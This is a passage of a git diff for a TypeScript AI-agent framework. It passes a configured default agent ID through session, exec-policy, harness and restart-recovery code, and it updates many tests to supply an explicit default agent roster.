?? defaultAgentId) - : resolveAgentIdFromSessionKey(explicitSessionKey) + : resolveAgentIdFromSessionKey(explicitSessionKey, defaultAgentId) : (requestedAgentId ?? defaultAgentId); const storePath = resolveStorePath(sessionCfg?.store, { agentId: storeAgentId, @@ -407,7 +409,7 @@ export function resolveSession(opts: { const sessionEntry = sessionKey ? sessionStore[sessionKey] : undefined; const sessionAgentId = opts.agentId?.trim() ? normalizeAgentId(opts.agentId) - : resolveAgentIdFromSessionKey(sessionKey); + : resolveAgentIdFromSessionKey(sessionKey, resolveDefaultAgentId(opts.cfg)); const resetType = resolveSessionResetType({ sessionKey }); const channelReset = resolveChannelResetConfig({ diff --git a/src/agents/copilot-routing.test.ts b/src/agents/copilot-routing.test.ts index 7bbe6fb429c7..8d914277e07d 100755 --- a/src/agents/copilot-routing.test.ts +++ b/src/agents/copilot-routing.test.ts @@ -3,20 +3,27 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { modelSelectionShouldEnsureCopilotRuntimePlugin } from "./copilot-routing.js"; -const emptyCfg = {} as OpenClawConfig; +function withDefaultRoster(config: OpenClawConfig = {}): OpenClawConfig { + return { + ...config, + agents: { entries: { main: { default: true } }, ...config.agents }, + }; +} + +const emptyCfg = withDefaultRoster(); function cfgWithProviderRuntime(id: string): OpenClawConfig { - return { + return withDefaultRoster({ models: { providers: { "github-copilot": { agentRuntime: { id } }, }, }, - } as unknown as OpenClawConfig; + } as unknown as OpenClawConfig); } function cfgWithModelRuntime(modelId: string, id: string): OpenClawConfig { - return { + return withDefaultRoster({ models: { providers: { "github-copilot": { @@ -24,7 +31,7 @@ function cfgWithModelRuntime(modelId: string, id: string): OpenClawConfig { }, }, }, - } as unknown as OpenClawConfig; + } as unknown as OpenClawConfig); } describe("modelSelectionShouldEnsureCopilotRuntimePlugin", () => { @@ -84,7 +91,7 @@ describe("modelSelectionShouldEnsureCopilotRuntimePlugin", () => { it("model-scope override takes precedence over provider scope", () => { // A model override can intentionally opt out even when the provider default // opts into the Copilot runtime plugin. - const cfg = { + const cfg = withDefaultRoster({ models: { providers: { "github-copilot": { @@ -93,7 +100,7 @@ describe("modelSelectionShouldEnsureCopilotRuntimePlugin", () => { }, }, }, - } as unknown as OpenClawConfig; + } as unknown as OpenClawConfig); expect( modelSelectionShouldEnsureCopilotRuntimePlugin({ model: "github-copilot/gpt-4o", @@ -110,13 +117,13 @@ describe("modelSelectionShouldEnsureCopilotRuntimePlugin", () => { }); it("returns false for other providers regardless of agentRuntime config", () => { - const cfg = { + const cfg = withDefaultRoster({ models: { providers: { openai: { agentRuntime: { id: "copilot" } }, }, }, - } as unknown as OpenClawConfig; + } as unknown as OpenClawConfig); expect( modelSelectionShouldEnsureCopilotRuntimePlugin({ model: "openai/gpt-4o", config: cfg }), ).toBe(false); diff --git a/src/agents/embedded-agent-runner/compact.hooks.test.ts b/src/agents/embedded-agent-runner/compact.hooks.test.ts index 136bd253261d..cc6644ecc560 100644 --- a/src/agents/embedded-agent-runner/compact.hooks.test.ts +++ b/src/agents/embedded-agent-runner/compact.hooks.test.ts @@ -304,7 +304,8 @@ async function runCompactionHooks(params: { sessionKey?: string; messageProvider beforeAll(async () => { const loaded = await loadCompactHooksHarness(); - compactEmbeddedAgentSessionDirect = loaded.compactEmbeddedAgentSessionDirect; + compactEmbeddedAgentSessionDirect = (params) => + loaded.compactEmbeddedAgentSessionDirect({ agentId: "main", ...params }); compactEmbeddedAgentSession = loaded.compactEmbeddedAgentSession; compactTesting = loaded.testing; onSessionTranscriptUpdate = loaded.onSessionTranscriptUpdate; diff --git a/src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts b/src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts index 6079735c798d..5819ce147fac 100644 --- a/src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts +++ b/src/agents/embedded-agent-runner/run.overflow-compaction.harness.ts @@ -416,6 +416,7 @@ export const mockedMarkAuthProfileSuccess = vi.fn(async () => {}); const mockedShouldPreferExplicitConfigApiKeyAuth = vi.fn(() => false); export const overflowBaseRunParams = { + agentId: "main", sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", @@ -1003,7 +1004,10 @@ export async function loadRunOverflowCompactionHarness(): Promise<{ }); const { runEmbeddedAgent } = await import("./run.js"); - return { runEmbeddedAgent }; + return { + runEmbeddedAgent: (params) => + runEmbeddedAgent({ ...params, agentId: params.agentId ?? "main" }), + }; } /** Move one-time runner compilation out of individual behavior timings. */ diff --git a/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts b/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts index 32a96d1ec25d..abd5abe06b9d 100644 --- a/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts @@ -2524,6 +2524,7 @@ describe("embedded attempt session lock lifecycle", () => { }, async () => await appendExactAssistantMessageToSessionTranscript({ + agentId: "main", sessionKey, storePath, message: { diff --git a/src/agents/exec-defaults.test.ts b/src/agents/exec-defaults.test.ts index 3feb102f6b92..454bbf313b15 100644 --- a/src/agents/exec-defaults.test.ts +++ b/src/agents/exec-defaults.test.ts @@ -1,9 +1,17 @@ // Verifies exec host, sandbox, and approval-default resolution for embedded agents. import { beforeEach, describe, expect, it, vi } from "vitest"; import type { SessionEntry } from "../config/sessions.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import * as execApprovals from "../infra/exec-approvals.js"; import { resolveExecDefaults, resolveNodeExecEligibility } from "./exec-defaults.js"; +function withDefaultAgent(config: OpenClawConfig): OpenClawConfig { + return { + ...config, + agents: { ...config.agents, list: [{ id: "main", default: true }] }, + }; +} + describe("resolveExecDefaults", () => { beforeEach(() => { vi.restoreAllMocks(); @@ -16,13 +24,13 @@ describe("resolveExecDefaults", () => { it("does not advertise node routing when exec host is pinned to gateway", () => { expect( resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "gateway", }, }, - }, + }), sandboxAvailable: false, }).canRequestNode, ).toBe(false); @@ -30,13 +38,13 @@ describe("resolveExecDefaults", () => { it("does not advertise node routing when exec host is auto and sandbox is available", () => { const defaults = resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "auto", }, }, - }, + }), sandboxAvailable: true, }); @@ -47,13 +55,13 @@ describe("resolveExecDefaults", () => { it("keeps node routing available when exec host is auto without sandbox", () => { const defaults = resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "auto", }, }, - }, + }), sandboxAvailable: false, }); @@ -68,13 +76,13 @@ describe("resolveExecDefaults", () => { } as SessionEntry; expect( resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "gateway", }, }, - }, + }), sessionEntry, sandboxAvailable: false, }).canRequestNode, @@ -83,13 +91,13 @@ describe("resolveExecDefaults", () => { it("uses host approval defaults for gateway when exec policy is unset", () => { const defaults = resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "auto", }, }, - }, + }), sandboxAvailable: false, }); @@ -102,13 +110,13 @@ describe("resolveExecDefaults", () => { it("keeps sandbox deny by default when auto resolves to sandbox", () => { const defaults = resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "auto", }, }, - }, + }), sandboxAvailable: true, }); @@ -130,13 +138,13 @@ describe("resolveExecDefaults", () => { }); const defaults = resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "auto", }, }, - }, + }), sandboxAvailable: true, }); @@ -151,13 +159,13 @@ describe("resolveExecDefaults", () => { it("maps normalized auto mode to allowlist plus on-miss approvals", () => { expect( resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { mode: "auto", }, }, - }, + }), sandboxAvailable: false, }), ).toMatchObject({ @@ -181,13 +189,13 @@ describe("resolveExecDefaults", () => { // mapping so persisted host policy remains the final safety boundary. expect( resolveExecDefaults({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { mode: "auto", }, }, - }, + }), sandboxAvailable: false, }), ).toMatchObject({ @@ -216,6 +224,7 @@ describe("resolveExecDefaults", () => { mode: "full", }, }, + agents: { list: [{ id: "agent-a", default: true }] }, }, agentId: "agent-a", sandboxAvailable: false, @@ -240,6 +249,7 @@ describe("resolveExecDefaults", () => { list: [ { id: "agent-a", + default: true, tools: { exec: { mode: "full", @@ -272,6 +282,7 @@ describe("resolveExecDefaults", () => { list: [ { id: "agent-a", + default: true, tools: { exec: { mode: "allowlist", @@ -294,7 +305,7 @@ describe("resolveExecDefaults", () => { it("blocks node skill eligibility for deny policy and preserves node bindings", () => { expect( resolveNodeExecEligibility({ - cfg: { + cfg: withDefaultAgent({ tools: { exec: { host: "node", @@ -302,7 +313,7 @@ describe("resolveExecDefaults", () => { node: "build-mac", }, }, - }, + }), }), ).toEqual({ canExec: false, node: "build-mac" }); }); @@ -310,10 +321,10 @@ describe("resolveExecDefaults", () => { it("blocks node skill eligibility when the gateway denies system.run", () => { expect( resolveNodeExecEligibility({ - cfg: { + cfg: withDefaultAgent({ gateway: { nodes: { commands: { deny: [" system.run "] } } }, tools: { exec: { host: "node", mode: "full" } }, - }, + }), }), ).toEqual({ canExec: false }); }); diff --git a/src/agents/exec-defaults.ts b/src/agents/exec-defaults.ts index 2546c67c0c65..9ba91679d771 100644 --- a/src/agents/exec-defaults.ts +++ b/src/agents/exec-defaults.ts @@ -73,6 +73,7 @@ function resolveExecConfigState(params: { execOverrides?: ExecPolicyOverrides; agentId?: string; sessionKey?: string; + scope?: { kind: "defaults" }; }): { cfg: OpenClawConfig; host: ExecTarget; @@ -82,11 +83,13 @@ function resolveExecConfigState(params: { } { const cfg = params.cfg ?? {}; const resolvedAgentId = - params.agentId ?? - resolveSessionAgentId({ - sessionKey: params.sessionKey, - config: cfg, - }); + params.scope?.kind === "defaults" + ? undefined + : (params.agentId ?? + resolveSessionAgentId({ + sessionKey: params.sessionKey, + config: cfg, + })); const globalExec = cfg.tools?.exec; const agentExec = resolvedAgentId ? resolveAgentConfig(cfg, resolvedAgentId)?.tools?.exec @@ -132,6 +135,8 @@ export function resolveExecDefaults(params: { execOverrides?: ExecPolicyOverrides; agentId?: string; sessionKey?: string; + /** Resolve agents.defaults/tools.exec without applying any roster entry override. */ + scope?: { kind: "defaults" }; sandboxAvailable?: boolean; elevatedRequested?: boolean; }): { diff --git a/src/agents/execution-contract.test.ts b/src/agents/execution-contract.test.ts index 599c56d5a104..4faf61c8ac33 100644 --- a/src/agents/execution-contract.test.ts +++ b/src/agents/execution-contract.test.ts @@ -6,7 +6,9 @@ import { isStrictAgenticExecutionContractActive } from "./execution-contract.js" describe("isStrictAgenticExecutionContractActive", () => { const supportedProvider = "openai"; const unsupportedProvider = "anthropic"; - const emptyConfig: OpenClawConfig = {}; + const emptyConfig: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, + }; describe("supported provider + model detection", () => { it("auto-activates on bare gpt-5 model ids", () => { @@ -136,6 +138,7 @@ describe("isStrictAgenticExecutionContractActive", () => { it("honors explicit strict-agentic on the supported lane", () => { const config: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { embeddedAgent: { executionContract: "strict-agentic", @@ -155,6 +158,7 @@ describe("isStrictAgenticExecutionContractActive", () => { it("honors explicit default opt-out even on the supported lane", () => { const config: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { embeddedAgent: { executionContract: "default", @@ -174,6 +178,7 @@ describe("isStrictAgenticExecutionContractActive", () => { it("collapses explicit strict-agentic to default on an unsupported lane", () => { const config: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { embeddedAgent: { executionContract: "strict-agentic", diff --git a/src/agents/harness-runtimes.test.ts b/src/agents/harness-runtimes.test.ts index 7a60458af70b..af4b78de7925 100644 --- a/src/agents/harness-runtimes.test.ts +++ b/src/agents/harness-runtimes.test.ts @@ -1,7 +1,18 @@ // Covers config scanning for agent harness runtime requirements. import { describe, expect, it } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { collectConfiguredAgentHarnessRuntimes } from "./harness-runtimes.js"; +import { collectConfiguredAgentHarnessRuntimes as collectConfiguredAgentHarnessRuntimesBase } from "./harness-runtimes.js"; + +function collectConfiguredAgentHarnessRuntimes( + config: OpenClawConfig, + options?: Parameters[1], +) { + return collectConfiguredAgentHarnessRuntimesBase( + migratePersistedImplicitMainRoster(config).config as OpenClawConfig, + options, + ); +} describe("collectConfiguredAgentHarnessRuntimes", () => { it("requires Codex for selectable default OpenAI agent models", () => { @@ -100,7 +111,7 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { expect(collectConfiguredAgentHarnessRuntimes(config)).toEqual([]); }); - it("ignores malformed agents.list while scanning best-effort config", () => { + it("ignores a malformed legacy list when canonical entries are available", () => { // Runtime collection is diagnostic/setup support, so malformed optional // agent lists should not hide valid defaults-level runtime requirements. const config = { @@ -112,6 +123,7 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { }, }, }, + entries: { main: { default: true } }, list: { ops: { id: "ops", diff --git a/src/agents/harness-runtimes.ts b/src/agents/harness-runtimes.ts index 7e10c8459b5e..22a4fb4ee533 100644 --- a/src/agents/harness-runtimes.ts +++ b/src/agents/harness-runtimes.ts @@ -6,6 +6,7 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { isRecord } from "../utils.js"; import { OPENCLAW_AGENT_RUNTIME_ID, isDefaultAgentRuntimeId } from "./agent-runtime-id.js"; import { normalizeOptionalAgentRuntimeId } from "./agent-runtime-id.js"; +import { listAgentEntries } from "./agent-scope-config.js"; import { resolveAgentHarnessPolicy } from "./harness/policy.js"; // Harness runtime discovery feeds plugin preloading/setup. Only plugin runtimes @@ -115,7 +116,7 @@ function pushConfiguredModelRuntimeIds(config: OpenClawConfig, runtimes: Set = {}): ContextEng const sessionParams = { sessionIdUsed: "session-1", sessionId: "session-1", - sessionKey: "agent:main", + sessionKey: "agent:main:main", sessionFile: "sessions/main.jsonl", }; diff --git a/src/agents/harness/policy.test.ts b/src/agents/harness/policy.test.ts index a8f15287c97d..4577c4b267c6 100644 --- a/src/agents/harness/policy.test.ts +++ b/src/agents/harness/policy.test.ts @@ -1,6 +1,16 @@ import { describe, expect, it } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../../config/legacy.roster.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; -import { resolveAgentHarnessPolicy } from "./policy.js"; +import { resolveAgentHarnessPolicy as resolveAgentHarnessPolicyBase } from "./policy.js"; + +function resolveAgentHarnessPolicy( + params: Parameters[0], +): ReturnType { + return resolveAgentHarnessPolicyBase({ + ...params, + config: migratePersistedImplicitMainRoster(params.config).config as OpenClawConfig, + }); +} function openAIProviderConfig(overrides: Record): OpenClawConfig { return { diff --git a/src/agents/harness/tool-surface-bridge.test.ts b/src/agents/harness/tool-surface-bridge.test.ts index e305492532d8..7323e5b34dcc 100644 --- a/src/agents/harness/tool-surface-bridge.test.ts +++ b/src/agents/harness/tool-surface-bridge.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../../config/legacy.roster.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { runWithAgentRingZeroTools } from "../agent-tools.ring-zero-context.js"; import { createStubTool } from "../test-helpers/agent-tool-stubs.js"; @@ -9,7 +10,16 @@ import { TOOL_SEARCH_RAW_TOOL_NAME, } from "../tool-search.js"; import { testing } from "../tool-search.test-support.js"; -import { createAgentHarnessToolSurfaceRuntime } from "./tool-surface-bridge.js"; +import { createAgentHarnessToolSurfaceRuntime as createAgentHarnessToolSurfaceRuntimeBase } from "./tool-surface-bridge.js"; + +function createAgentHarnessToolSurfaceRuntime( + params: Parameters[0], +): ReturnType { + return createAgentHarnessToolSurfaceRuntimeBase({ + ...params, + config: migratePersistedImplicitMainRoster(params.config).config as OpenClawConfig, + }); +} function tools(names: string[]) { return names.map(createStubTool); diff --git a/src/agents/heartbeat-system-prompt.test.ts b/src/agents/heartbeat-system-prompt.test.ts index cb935fc0c763..bacdfd229237 100644 --- a/src/agents/heartbeat-system-prompt.test.ts +++ b/src/agents/heartbeat-system-prompt.test.ts @@ -9,6 +9,7 @@ describe("resolveHeartbeatPromptForSystemPrompt", () => { config: { agents: { defaults: { heartbeat: {} }, + entries: { main: { default: true } }, }, }, agentId: "main", @@ -27,6 +28,7 @@ describe("resolveHeartbeatPromptForSystemPrompt", () => { every: "0m", }, }, + entries: { main: { default: true } }, }, }, agentId: "main", diff --git a/src/agents/internal-session-effects.test.ts b/src/agents/internal-session-effects.test.ts index 9052e9fb722d..3b8bcfd05859 100644 --- a/src/agents/internal-session-effects.test.ts +++ b/src/agents/internal-session-effects.test.ts @@ -114,7 +114,7 @@ describe("internal session effects", () => { delivery: { kind: "internal" }, createdAt: expect.any(Number), }); - expect(listSessionEntries({ storePath })).toEqual([]); + expect(listSessionEntries({ agentId: "main", storePath })).toEqual([]); await expect(loadTranscriptEvents(target)).resolves.toEqual([ expect.objectContaining({ id: target.sessionId, type: "session" }), ]); @@ -173,7 +173,7 @@ describe("internal session effects", () => { type: "message", }), ); - expect(listSessionEntries({ storePath })).toEqual([ + expect(listSessionEntries({ agentId: "main", storePath })).toEqual([ expect.objectContaining({ sessionKey: source.sessionKey }), ]); }); diff --git a/src/agents/local-model-lean.test.ts b/src/agents/local-model-lean.test.ts index 6b2df684ea08..0082877ac086 100644 --- a/src/agents/local-model-lean.test.ts +++ b/src/agents/local-model-lean.test.ts @@ -56,6 +56,7 @@ describe("local model lean tool filtering", () => { it("keeps explicitly preserved tools when lean mode is enabled", () => { const cfg: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { experimental: { localModelLean: true, @@ -98,6 +99,7 @@ describe("local model lean tool filtering", () => { it("keeps image understanding while trimming optional media production tools", () => { const cfg: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { experimental: { localModelLean: true, @@ -136,6 +138,7 @@ describe("local model lean tool filtering", () => { it("does not treat wildcard preservation as disabling lean mode", () => { const cfg: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { experimental: { localModelLean: true, @@ -155,7 +158,10 @@ describe("local model lean tool filtering", () => { it("matches wildcard preservation without treating a bare wildcard as an override", () => { const cfg: OpenClawConfig = { - agents: { defaults: { experimental: { localModelLean: true } } }, + agents: { + defaults: { experimental: { localModelLean: true } }, + entries: { main: { default: true } }, + }, }; expect( filterLocalModelLeanTools({ diff --git a/src/agents/main-session-restart-dispatch.ts b/src/agents/main-session-restart-dispatch.ts index 9ec022e78a8a..6e6f221cd49b 100644 --- a/src/agents/main-session-restart-dispatch.ts +++ b/src/agents/main-session-restart-dispatch.ts @@ -26,7 +26,7 @@ import { type DeliveryContext, } from "../utils/delivery-context.shared.js"; import { isDeliverableMessageChannel } from "../utils/message-channel.js"; -import { resolveAgentWorkspaceDir } from "./agent-scope.js"; +import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "./agent-scope.js"; import { buildMainSessionRecoveryClearPatch } from "./main-session-recovery-clear.js"; import { scheduleMainSessionRecoveryPendingTarget } from "./main-session-recovery-owner-release.js"; import { @@ -99,7 +99,10 @@ export function resolveRestartRecoveryResumeBlockReason(params: { return "pre-hook recovery runtime config is unavailable"; } try { - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const agentId = resolveAgentIdFromSessionKey( + params.sessionKey, + resolveDefaultAgentId(params.cfg), + ); ensureRuntimePluginsLoaded({ config: params.cfg, workspaceDir: resolveAgentWorkspaceDir(params.cfg, agentId), diff --git a/src/agents/main-session-restart-recovery.test.ts b/src/agents/main-session-restart-recovery.test.ts index 5a44720e46db..466f81568850 100644 --- a/src/agents/main-session-restart-recovery.test.ts +++ b/src/agents/main-session-restart-recovery.test.ts @@ -2318,6 +2318,7 @@ describe("main-session-restart-recovery", () => { ]); const result = await retryRestartAbortedMainSessionRecoveryAfterOwnerRelease({ + cfg: { agents: { entries: { main: { default: true } } } }, expectedSessionId: "legacy-session", sessionKey: "main", storePath, @@ -2327,7 +2328,7 @@ describe("main-session-restart-recovery", () => { expect(callGateway).toHaveBeenCalledOnce(); expect(gatewayParams()).toMatchObject({ expectedExistingSessionId: "legacy-session", - sessionKey: "main", + sessionKey: "agent:main:main", }); expect( sessionAccessor.loadExactSessionEntry({ sessionKey: "main", storePath })?.entry, @@ -2562,7 +2563,7 @@ describe("main-session-restart-recovery", () => { .mockResolvedValueOnce({ runId: "run-resumed" }); scheduleRestartAbortedMainSessionRecovery({ - cfg: {}, + cfg: { agents: { entries: { main: { default: true } } } }, delayMs: 0, maxRetries: 1, stateDir: tmpDir, diff --git a/src/agents/main-session-restart-recovery.ts b/src/agents/main-session-restart-recovery.ts index d5bbbbc03db9..fe74bd74eef6 100644 --- a/src/agents/main-session-restart-recovery.ts +++ b/src/agents/main-session-restart-recovery.ts @@ -48,6 +48,7 @@ import { } from "../sessions/session-lifecycle-admission.js"; import { buildRunUserTurnIdempotencyKey } from "../sessions/user-turn-transcript.js"; import type { DeliveryContext } from "../utils/delivery-context.shared.js"; +import { resolveDefaultAgentId } from "./agent-scope-config.js"; import { isAnnounceRunId } from "./announce-idempotency.js"; import { CODE_MODE_EXEC_TOOL_NAME, CODE_MODE_WAIT_TOOL_NAME } from "./code-mode-control-tools.js"; import { @@ -1232,6 +1233,7 @@ type RecoveryCheckpointCompletion = | { outcome: "unsafe-transcript"; reason: string }; async function markSessionCompletedAfterRecoveryCheckpoint(params: { + agentId: string; entry: SessionEntry; messages: readonly unknown[]; reason: "delivered-terminal" | "delivered-terminal-receipt" | "handled-silent"; @@ -1390,7 +1392,7 @@ async function markSessionCompletedAfterRecoveryCheckpoint(params: { }; const persisted = await persistSessionTranscriptTurn( { - agentId: resolveAgentIdFromSessionKey(params.sessionKey), + agentId: params.agentId, sessionId: params.entry.sessionId, sessionKey: params.sessionKey, storePath: params.storePath, @@ -1497,12 +1499,13 @@ async function sendUnresumableSessionNotice(params: { } async function writeUnresumableSessionNotice(params: { + agentId: string; entry: SessionEntry; sessionKey: string; storePath: string; }): Promise { const result = await appendAssistantMessageToSessionTranscript({ - agentId: resolveAgentIdFromSessionKey(params.sessionKey), + agentId: params.agentId, sessionKey: params.sessionKey, expectedSessionId: params.entry.sessionId, expectedSessionState: { @@ -1554,6 +1557,10 @@ async function failUnresumableMainSession(params: { if ( !deliveryContext && !(await writeUnresumableSessionNotice({ + agentId: resolveAgentIdFromSessionKey( + params.sessionKey, + params.cfg ? resolveDefaultAgentId(params.cfg) : undefined, + ), entry: params.entry, sessionKey: params.sessionKey, storePath: params.storePath, @@ -1711,6 +1718,10 @@ async function recoverStore(params: { a.sessionKey.localeCompare(b.sessionKey), )) { let entry = loadedEntry; + const agentId = resolveAgentIdFromSessionKey( + sessionKey, + params.cfg ? resolveDefaultAgentId(params.cfg) : undefined, + ); if (!entry || entry.status !== "running" || entry.abortedLastRun !== true) { continue; } @@ -1899,7 +1910,7 @@ async function recoverStore(params: { try { messages = await readSessionMessagesAsync( { - agentId: resolveAgentIdFromSessionKey(sessionKey), + agentId, sessionEntry: entry, sessionId: entry.sessionId, sessionKey, @@ -2000,6 +2011,7 @@ async function recoverStore(params: { ); if (resumePolicy.action === "complete") { const completion = await markSessionCompletedAfterRecoveryCheckpoint({ + agentId, entry, messages, reason: resumePolicy.reason, diff --git a/src/agents/model-extra-params.ts b/src/agents/model-extra-params.ts index f2d3c5afdd30..ab1ce192c9d5 100644 --- a/src/agents/model-extra-params.ts +++ b/src/agents/model-extra-params.ts @@ -1,5 +1,6 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { modelKey } from "../shared/model-key.js"; +import { resolveAgentConfig } from "./agent-scope-config.js"; type ModelExtraParamSources = { defaultParams?: Record; @@ -28,9 +29,10 @@ export function resolveModelExtraParamSources(params: { ? (configuredModels?.[canonicalKey]?.params ?? (legacyKey ? configuredModels?.[legacyKey]?.params : undefined)) : undefined; - const agentParams = params.agentId - ? params.config?.agents?.list?.find((agent) => agent.id === params.agentId)?.params - : undefined; + const agentParams = + params.agentId && params.config + ? resolveAgentConfig(params.config, params.agentId)?.params + : undefined; return { defaultParams, modelParams, agentParams }; } diff --git a/src/agents/model-runtime-policy.test.ts b/src/agents/model-runtime-policy.test.ts index 2241434d9754..773ea2b62271 100644 --- a/src/agents/model-runtime-policy.test.ts +++ b/src/agents/model-runtime-policy.test.ts @@ -1,13 +1,23 @@ // Covers model runtime policy precedence and private QA runtime overrides. import { afterEach, describe, expect, it } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import type { ModelDefinitionConfig } from "../config/types.models.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; -import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; +import { resolveModelRuntimePolicy as resolveModelRuntimePolicyBase } from "./model-runtime-policy.js"; const ORIGINAL_BUILD_PRIVATE_QA = process.env.OPENCLAW_BUILD_PRIVATE_QA; const ORIGINAL_QA_FORCE_RUNTIME = process.env.OPENCLAW_QA_FORCE_RUNTIME; +function resolveModelRuntimePolicy( + params: Parameters[0], +): ReturnType { + return resolveModelRuntimePolicyBase({ + ...params, + config: migratePersistedImplicitMainRoster(params.config).config as OpenClawConfig, + }); +} + const createModelConfig = ( agentRuntimeId: string, modelId = "qwen-local", diff --git a/src/agents/model-selection-shared.ts b/src/agents/model-selection-shared.ts index ad241200da29..78f4b90f9da1 100644 --- a/src/agents/model-selection-shared.ts +++ b/src/agents/model-selection-shared.ts @@ -17,7 +17,7 @@ import { createSubsystemLogger } from "../logging/subsystem.js"; import { getCurrentPluginMetadataSnapshot } from "../plugins/current-plugin-metadata-snapshot.js"; import { loadManifestMetadataSnapshot } from "../plugins/manifest-contract-eligibility.js"; import { getActivePluginRegistryWorkspaceDirFromState } from "../plugins/runtime-state.js"; -import { normalizeAgentId } from "../routing/session-key.js"; +import { resolveAgentConfig } from "./agent-scope-config.js"; import { resolveConfiguredProviderFallback } from "./configured-provider-fallback.js"; import { DEFAULT_PROVIDER } from "./defaults.js"; import { findModelCatalogEntry } from "./model-catalog-lookup.js"; @@ -132,10 +132,7 @@ function createModelManifestPluginContext(params: { function listModelAliasCandidates(cfg: OpenClawConfig, agentId?: string): ModelAliasCandidate[] { const modelMaps = [cfg.agents?.defaults?.models]; if (agentId) { - const normalizedAgentId = normalizeAgentId(agentId); - const agentModels = cfg.agents?.list?.find( - (entry) => normalizeAgentId(entry.id) === normalizedAgentId, - )?.models; + const agentModels = resolveAgentConfig(cfg, agentId)?.models; modelMaps.push(agentModels); } return modelMaps.flatMap((models) => @@ -1499,10 +1496,7 @@ export function resolveConfiguredModelPolicyAllow(params: { }): { refs: readonly string[]; configPath: string | null; repairConfigPath: string } { const defaults = params.cfg?.agents?.defaults; if (params.agentId) { - const normalizedAgentId = normalizeAgentId(params.agentId); - const agent = params.cfg?.agents?.list?.find( - (entry) => normalizeAgentId(entry.id) === normalizedAgentId, - ); + const agent = params.cfg ? resolveAgentConfig(params.cfg, params.agentId) : undefined; const agentPolicy = agent?.modelPolicy; if (hasExplicitModelPolicyAllow(agentPolicy)) { return { diff --git a/src/agents/openclaw-tools.computer.test.ts b/src/agents/openclaw-tools.computer.test.ts index 8aea3121eb0b..0c01136a95b2 100644 --- a/src/agents/openclaw-tools.computer.test.ts +++ b/src/agents/openclaw-tools.computer.test.ts @@ -2,7 +2,10 @@ import { describe, expect, it } from "vitest"; import { createOpenClawTools } from "./openclaw-tools.js"; function computerTool(modelHasVision?: boolean) { - return createOpenClawTools({ modelHasVision }).find((tool) => tool.name === "computer"); + return createOpenClawTools({ + modelHasVision, + config: { agents: { entries: { main: { default: true } } } }, + }).find((tool) => tool.name === "computer"); } describe("computer tool vision gating", () => { diff --git a/src/agents/openclaw-tools.mobile-ui.test.ts b/src/agents/openclaw-tools.mobile-ui.test.ts index 195a8a228e00..1367bd90a3b4 100644 --- a/src/agents/openclaw-tools.mobile-ui.test.ts +++ b/src/agents/openclaw-tools.mobile-ui.test.ts @@ -2,7 +2,10 @@ import { describe, expect, it } from "vitest"; import { createOpenClawTools } from "./openclaw-tools.js"; function mobileUiTool(modelHasVision?: boolean) { - return createOpenClawTools({ modelHasVision }).find((tool) => tool.name === "mobile_ui"); + return createOpenClawTools({ + config: { agents: { entries: { main: { default: true } } } }, + modelHasVision, + }).find((tool) => tool.name === "mobile_ui"); } describe("mobile UI tool registration", () => { diff --git a/src/agents/openclaw-tools.swarm.test.ts b/src/agents/openclaw-tools.swarm.test.ts index d9204a2035f1..239eb13f084d 100644 --- a/src/agents/openclaw-tools.swarm.test.ts +++ b/src/agents/openclaw-tools.swarm.test.ts @@ -4,11 +4,16 @@ import { createOpenClawCodingTools } from "./agent-tools.js"; import { createOpenClawTools } from "./openclaw-tools.js"; function toolNames(options: NonNullable[0]>) { + const config = options.config ?? {}; return createOpenClawTools({ disableMessageTool: true, disablePluginTools: true, wrapBeforeToolCallHook: false, ...options, + config: { + ...config, + agents: config.agents ?? { entries: { main: { default: true } } }, + }, }).map((tool) => tool.name); } @@ -29,7 +34,12 @@ describe("openclaw-tools Swarm gating", () => { ...base, config: { tools: { swarm: false }, - agents: { list: [{ id: "worker", tools: { swarm: true } }] }, + agents: { + list: [ + { id: "main", default: true }, + { id: "worker", tools: { swarm: true } }, + ], + }, }, }), ).toContain("agents_wait"); @@ -38,7 +48,12 @@ 